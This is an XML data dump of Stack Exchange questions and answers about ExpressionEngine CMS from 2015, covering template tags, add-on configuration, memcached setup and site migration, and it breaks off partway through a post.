  <row Id="34208" PostTypeId="1" CreationDate="2015-09-28T18:16:58.267" Score="1" ViewCount="84" Body="&lt;p&gt;My &lt;code&gt;{segment_3_category_name}&lt;/code&gt; works on some pages and not on others&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page it works, it is where it says:All Bend Insensitive Fiber Products&#xA;&lt;a href=&quot;http://cohr-dev-ee01.azurewebsites.net/lasers/main/bend-insensitive-fiber&quot; rel=&quot;nofollow&quot;&gt;http://cohr-dev-ee01.azurewebsites.net/lasers/main/bend-insensitive-fiber&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page it does not work:&#xA;&lt;a href=&quot;http://cohr-dev-ee01.azurewebsites.net/lasers/laser/bif-780-l2-bif-rc-780-l2&quot; rel=&quot;nofollow&quot;&gt;http://cohr-dev-ee01.azurewebsites.net/lasers/laser/bif-780-l2-bif-rc-780-l2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is where it says:All Products  it should say All Bend Insensitive Fiber Products  Cause both of these pages are part of the same category.&lt;/p&gt;&#xA;" OwnerUserId="6704" LastEditorUserId="3579" LastEditDate="2015-09-28T18:27:44.100" LastActivityDate="2016-06-13T16:02:58.970" Title="low-seg2cat not working all of the time" Tags="|categories|low-seg2cat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34211" PostTypeId="2" ParentId="34190" CreationDate="2015-09-28T20:14:27.200" Score="0" Body="&lt;p&gt;Have you tried the config over option of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['ci_image_preview_size'] = '50px';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a list of config override options in our ci_config.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Located in /third_party/channel_images/config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to add it to your main config.php file for the system.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-09-28T20:14:27.200" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34212" PostTypeId="2" ParentId="34191" CreationDate="2015-09-28T20:15:15.337" Score="0" Body="&lt;p&gt;Currently you can not do this. All field specific features have to be set in the channel field settings. Sorry about that!&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-09-28T20:15:15.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34214" PostTypeId="2" ParentId="34198" CreationDate="2015-09-29T06:30:21.020" Score="0" Body="&lt;p&gt;I found where to add a timestamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this code on line 530 in helper.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self::include_theme_js('lib/ckeditor/ckeditor.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Place this line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self::insert_js('CKEDITOR.timestamp=&quot;1.0&quot;;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The files config.js, styles.js and [your-language].js are now loaded with the new timestamp. But changed code in config.js will not load in the browser. So if anyone has ideas on this, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-09-29T06:30:21.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34216" PostTypeId="1" CreationDate="2015-09-29T12:33:17.730" Score="0" ViewCount="35" Body="&lt;p&gt;Just wondering if there is a way to target this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got an field in freeform that the field type is set to text and the field content type set to email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the front end I'm wishing to target this field specifically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same way you can do this : composer:field_type == 'nonfield_title'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cant see anything about it in the documentation. &lt;/p&gt;&#xA;" OwnerUserId="6702" LastActivityDate="2016-06-10T23:04:30.083" Title="Is there a way to target the Field Content Type in Freeform Pro?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34218" PostTypeId="1" AcceptedAnswerId="34219" CreationDate="2015-09-29T15:39:29.663" Score="0" ViewCount="412" Body="&lt;p&gt;In EE 2.8 and above, you can select 'Memcached' as your 'Caching Driver' under &quot;Admin&quot; =&gt; &quot;General Configuration&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using one of Nexcess' &quot;ExpressionEngine optimized&quot; hosting plans, which lists &quot;Memcached Back-End&quot; as one of their features. I wanted to enable this, so I contacted their support folks. They set up a socket to use memcache. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I select 'Memcached' as my caching driver, EE displays the error message &quot;Cannot connect to Memcached, using File driver instead&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct syntax for my config file to get this to work?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2015-09-29T15:39:29.663" Title="What's the correct syntax for setting up memcached caching driver in EE 2.8+ with socket?" Tags="|config|caching|config-overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34219" PostTypeId="2" ParentId="34218" CreationDate="2015-09-29T15:39:29.663" Score="2" Body="&lt;p&gt;I'm glad you asked!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cache_driver'] = 'memcached';&#xA;$config['memcached'] = array(&#xA;  array(&#xA;    'host' =&amp;gt; '/var/tmp/memcached.sock',&#xA;    'port' =&amp;gt; 0,&#xA;    'weight' =&amp;gt; 1,&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding that to your config.php should do the trick, assuming you list the correct socket location and port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this is me answering my own question, because I searched and searched and couldn't find this info anywhere.)&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2015-09-29T15:39:29.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34221" PostTypeId="1" CreationDate="2015-09-29T16:06:11.723" Score="0" ViewCount="148" Body="&lt;p&gt;I want to use EE to power the editorial portions of a larger commerce application, and I'd lover to offer a single sign-on experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are add-ons allowing 3rd party sign on from Social networks, is there anything that allows support for a private oauth server?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2015-09-29T16:06:11.723" Title="Can EE support authentication via a private oauth server?" Tags="|authentication|oauth|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34222" PostTypeId="1" CreationDate="2015-09-29T18:33:56.713" Score="1" ViewCount="121" Body="&lt;p&gt;Here at work we're using EE v.1.6.7 and will be moving to a new proprietary CMS, I'm looking for a way to export the individual pages to a spreadsheet - the new web company we will be working with have asked for our existing pages to be in an excel ss...is this even possible???  I am not an Expression Engine expert. Please speak slowly and clearly to me. ;) Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6706" LastActivityDate="2016-06-13T01:40:53.763" Title="How to Export EE v 1.6.7 pages" Tags="|export|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34223" PostTypeId="1" CreationDate="2015-09-29T20:51:15.400" Score="0" ViewCount="262" Body="&lt;p&gt;I'm trying to set up a front-end file upload form, in which the user uploads (max 2) image files to a channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen reference to DevDemon's Channel Images as being the likely candidate to enable this functionality, but I can't find any reference material on the DevDemon site or anywhere that indicates how to accomplish this within EE Channel Form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have something they can point me at? Or know where I can find a tutorial / reference file or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2019-05-05T06:00:55.250" Title="User upload of multiple image files to channel entry via channel form" Tags="|devdemon|channel-images|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34224" PostTypeId="2" ParentId="34222" CreationDate="2015-09-29T21:51:50.957" Score="0" Body="&lt;p&gt;Yes, it's possible. On the assumption that yours is a standard EE install, you can export the data from the database by running specific SQL queries to pull the data out in the format they want (table joins required). I suggest that you get the new web company to clarify what Excel column headers they want, to enable you(?) to construct the query to format the data. Then export the results in CSV format.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2015-09-29T21:51:50.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34225" PostTypeId="1" CreationDate="2015-09-29T22:12:34.303" Score="0" ViewCount="30" Body="&lt;p&gt;I have a live(Production) site, in which new users are signing up every day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, I have a local version of this site on which I've built lots of new functionality. If I were to push the local DB live, then the newer members would be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to import the new members into my Local site and then deploy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would it be easier to migrate the new features into my Live site.  I am trying to avoid doing this manually.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2016-05-24T19:52:18.937" Title="Adding new functionality to Live site while keep members" Tags="|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34226" PostTypeId="2" ParentId="34222" CreationDate="2015-09-29T22:14:58.990" Score="0" Body="&lt;p&gt;I don't believe there's any need to use any add-ons for this or resort to SQL queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just create new EE templates with exp:weblog:entries calls that produce output that can be saved in .CSV format (which can be opened in Excel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you update your question with some more details on what fields you have in EE and what you need in Excel I can update this answer with more complete details. &lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-09-29T22:14:58.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34227" PostTypeId="2" ParentId="34225" CreationDate="2015-09-29T23:08:23.647" Score="0" Body="&lt;p&gt;Well, first, how much &lt;strong&gt;new&lt;/strong&gt; functionality is there? You've already made a mistake if we're talking about multiple new addons and many different database tables. Just take it piecemeal; migrate one new feature in at a time. First, create and import the relevant database tables, then copy your addons over. After a complete production backup, try and go live with the new feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ad nauseam. And if you have members tables full of new members in production, just don't copy over that data. And as usually kids, &lt;strong&gt;back it up before you try anything&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a better answer, you'll have to be a lot more specific by what &lt;code&gt;new functionality&lt;/code&gt; means in this context.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-29T23:08:23.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34228" PostTypeId="2" ParentId="32887" CreationDate="2015-09-30T00:43:49.253" Score="-2" Body="&lt;p&gt;I've found some great free info &amp;amp; tutorials:&#xA;From DaBrook: &lt;a href=&quot;https://www.youtube.com/playlist?list=PL7D18703E2B770DA0&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/playlist?list=PL7D18703E2B770DA0&lt;/a&gt;&#xA;and from &lt;a href=&quot;http://viminteractive.com/blog/a_newbies_guide_to_expressionengine_development/&quot; rel=&quot;nofollow&quot;&gt;http://viminteractive.com/blog/a_newbies_guide_to_expressionengine_development/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6624" LastActivityDate="2015-09-30T00:43:49.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34229" PostTypeId="2" ParentId="34216" CreationDate="2015-09-30T02:27:10.077" Score="0" Body="&lt;p&gt;Sorry, that isn't possible (as you mentioned, &lt;code&gt;field_type&lt;/code&gt; is available, but not field &lt;em&gt;content&lt;/em&gt; type). I would suggest submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-09-30T02:27:10.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34230" PostTypeId="2" ParentId="34225" CreationDate="2015-09-30T09:22:09.837" Score="0" Body="&lt;p&gt;This question has been asked many times and the best answer can be found &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/45/migrating-between-development-staging-and-production-for-a-pre-existing-express&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is typical of many CMS's, where you should only be creating content on the live database. New add-ons etc should ideally be installed on live before you start utilising their functionality in templates, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should really be utilising external templates, so changes to these are stored in the database and therefore easily updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even copying specific tables is risky if you have associated view tracking, editors on live, commenting, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you copy live members into your local, then on deployment, copy the local database to live, there's every chance that the live data could have been updated in the time it took you to copy it down, deploy and copy it up. It will also risk the live site being unavailable during the whole deployment.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-09-30T09:22:09.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34231" PostTypeId="1" CreationDate="2015-09-30T11:35:07.857" Score="0" ViewCount="67" Body="&lt;p&gt;I have two issues with Mega upload. I use EE 2.10.1 and Mega Upload 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I added a MU field to a channel. When I click on 'select file', nothing happens. I don't even get an error in the console. Are there known add-ons that interfere with MU or is it a problem in MU itself?&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the field properties you can choose an upload location and test it with the link 'test location'. When I click the link I get the error $.fancybox is undefined in my console. This is because the module tries to load fancybox from EE's core, but it doesn't exist there anymore. I solved this by adding fancybox to the themes folder and added js and css with the add_to_head function. Also I changed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$.fancybox.showActivity();&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.fancybox.showLoading();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2016-06-14T21:47:12.433" Title="Mega upload does not upload file and test location" Tags="|file-uploads|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34232" PostTypeId="1" CreationDate="2015-09-30T11:46:26.317" Score="0" ViewCount="47" Body="&lt;p&gt;Expression engine archive is showing link in this manner eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:month_links channel=&quot;news&quot; limit=&quot;50&quot;}&#xA;    {month}, {year}&amp;lt;br&amp;gt;&#xA;    {/exp:channel:month_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com/news/archives/2015/09&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to change it like in this way &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com/news/archives/2015/9&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6709" LastActivityDate="2016-06-17T16:39:54.990" Title="How to change Archive link url in Exrpession Engine" Tags="|php|codeigniter|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34233" PostTypeId="2" ParentId="34232" CreationDate="2015-09-30T11:57:56.053" Score="0" Body="&lt;p&gt;This is unfortunately not possible with ExpressionEngine's default &lt;code&gt;month_links&lt;/code&gt; functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{month} - Month, long format: September&#xA;&#xA;{month_num} - Month, numeric: 09&#xA;&#xA;{month_short} - Month, short format: Sep&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/archive_month_links.html#month&quot; rel=&quot;nofollow&quot;&gt;EE archive_month_links documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="3579" LastEditDate="2015-09-30T12:57:39.983" LastActivityDate="2015-09-30T12:57:39.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34234" PostTypeId="2" ParentId="34223" CreationDate="2015-09-30T12:37:48.427" Score="0" Body="&lt;p&gt;Channel Images does exactly this. You can set a max amount of images to be uploaded. And also resize the images on the fly.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2015-09-30T12:37:48.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34235" PostTypeId="2" ParentId="31485" CreationDate="2015-09-30T12:51:29.790" Score="1" Body="&lt;p&gt;I've got an answer, but it's not exactly a solution: Don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Videos maintains its own separate table in the database, with all sorts of metadata pulled from the video. From a future maintenance point of view, keeping things as a simple stored URL in a text field would be better... I've learned that less is more when it comes to DB structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to see someone create a fieldtype that has the ease-of-use of Channel Video's backend searching interface, but the DB simplicity of a plain text field storing a URL.&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2015-09-30T12:51:29.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34236" PostTypeId="1" AcceptedAnswerId="34237" CreationDate="2015-09-30T20:19:07.540" Score="1" ViewCount="198" Body="&lt;p&gt;seems like a silly question but I cannot seem to find an answer and I'm wondering if I'm not just phrasing it incorrectly or using the wrong terms...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply want to force a newline within a loop returning content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;  {exp:channel:entries channel=&amp;quot;duh&amp;quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;{site_url}{url_title}/&amp;quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries}&#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that the output will change from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/link-1/&amp;quot;&amp;gt;link-1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/link-2/&amp;quot;&amp;gt;link-2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/link-3/&amp;quot;&amp;gt;link-3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;[etc]&#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/link-1/&amp;quot;&amp;gt;link-1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/link-2/&amp;quot;&amp;gt;link-2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/link-3/&amp;quot;&amp;gt;link-3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    [etc]&#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it must be something simple that I'm missing, but I cannot find any references to making it happen in the EE docs or various searches here and elsewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it might be something obvious like adding a &lt;code&gt;{\n}&lt;/code&gt; or &lt;code&gt;{NEWLINE}&lt;/code&gt; into the mix, but no luck as of yet finding something that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;little help please?&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2015-10-11T08:49:39.177" Title="Force a newline in rendered html markup (source formatting)?" Tags="|html|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34237" PostTypeId="2" ParentId="34236" CreationDate="2015-09-30T20:24:44.990" Score="1" Body="&lt;p&gt;TBH, your code output is a result of your code format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;duh&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}{url_title}/&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;duh&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}{url_title}/&quot;&amp;gt;&#xA;            {title}&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And all your troubles will go away. In my experience, this style of HTML/Template formatting makes for, by far, the easiest debugging during development. It also makes development itself much easier to handle, and templates much easier to read amongst developers. Once you're in production, all of your HTML should be minified anyways, but even if it isn't, a thousand carriage returns in a template aren't going to hurt your load time noticeably. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oooo, yeah, you can't do anything about that one, to my knowledge. There is a method, however, you will hate it with a passion. Turn PHP on output for any particular template aaaaand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;duh&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}{url_title}/&quot;&amp;gt;&#xA;            {title}&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php echo &quot;\r\n&quot;; ?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll do it. The problem is that the core entries module trims and removes new lines after each loop, essentially screwing you. On PHP set to output, however, this will result in a PHP stage after the template parsing stage, so you get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    ...&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;www.site.com/url-title&quot;&amp;gt;&#xA;            This entry's title!&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&amp;lt;?php echo &quot;\r\n&quot;; ?&amp;gt;&amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;www.site.com/url-title&quot;&amp;gt;&#xA;            This next entry's title!&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    ...&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which then gets its PHP evaled, and the result is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    ...&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;www.site.com/url-title&quot;&amp;gt;&#xA;            This entry's title!&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;www.site.com/url-title&quot;&amp;gt;&#xA;            This next entry's title!&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    ...&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can't really win too much with that last line. Unless someone else knows a secret method (other than core hacking).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-11T08:49:39.177" LastActivityDate="2015-10-11T08:49:39.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34238" PostTypeId="2" ParentId="31824" CreationDate="2015-10-01T03:04:14.673" Score="0" Body="&lt;p&gt;I was having the same issue, JSON data doesn't return when you have inline_errors=&quot;yes&quot;, try to remove inline_error attribute from your form.&lt;/p&gt;&#xA;" OwnerUserId="6710" LastActivityDate="2015-10-01T03:04:14.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34239" PostTypeId="2" ParentId="34177" CreationDate="2015-10-01T03:16:08.603" Score="2" Body="&lt;p&gt;Do you have anything in the URL that allows you to find the channel entry using &lt;code&gt;{exp:channel:entries}&lt;/code&gt;? If so, you could use this and use the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; inside the hidden field to retrieve the entry title that is loading your Composer Freeform form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have your channel entry's ID in segment_3, you could put the following as the value of your Freeform hidden field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{segment_3}&quot; dynamic=&quot;no&quot;}{title}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's no other way for Composer to &quot;figure out&quot; it's coming from a channel entry custom field (i.e. &lt;code&gt;{title}&lt;/code&gt; on its own won't be enough).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-10-01T03:16:08.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34242" PostTypeId="1" AcceptedAnswerId="34243" CreationDate="2015-10-01T07:54:32.197" Score="0" ViewCount="38" Body="&lt;p&gt;{exp:channel:entries dynamic=&quot;no&quot; limit=&quot;1&quot; category=&quot;2&quot; sort=&quot;asc&quot; entry_id=&quot;16&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;Show Category title of category2    &#xA;&#xA;    {exp:channel:entries dynamic=&quot;no&quot; limit=&quot;1&quot; category=&quot;2&quot; sort=&quot;asc&quot; }&#xA;&#xA;    &amp;lt;li&amp;gt;Show subactegory title of category2 &#xA;&#xA;        {exp:channel:entries dynamic=&quot;no&quot; limit=&quot;1&quot; category=&quot;2&quot; sort=&quot;asc&quot;}&#xA;&#xA;                &amp;lt;li&amp;gt; [![Sub category entries][1]][1]&amp;lt;li&amp;gt;&#xA;&#xA;        {/exp:channel:entries} &#xA;&#xA;    &amp;lt;li&amp;gt;&#xA;&#xA;    {/exp:channel:entries} &#xA;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QOJsb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QOJsb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6696" LastActivityDate="2015-10-01T09:56:45.003" Title="Is this loop possible (EE2) ? I have attached an image what i need exactly. Any help is going to be appreciated. :)" Tags="|ee|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34243" PostTypeId="2" ParentId="34242" CreationDate="2015-10-01T09:56:45.003" Score="0" Body="&lt;p&gt;No, it is not possible to use the entries tag within the entries tag. Also you should avoid calling the channel entries tag multiple times because it is quite an heavy operation. You should use either an embed or Stash. Stash is a better option to speed up page loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of an embed (I haven't tested if you will get the desired results. This example should get you started though): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries dynamic=&quot;no&quot; limit=&quot;1&quot; category=&quot;2&quot; sort=&quot;asc&quot; entry_id=&quot;16&quot;}&#xA;&#xA;    &amp;lt;li&amp;gt;Show Category title of category2    &#xA;&#xA;        {embed=&quot;[folder-name]/[template-name]&quot;}&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;    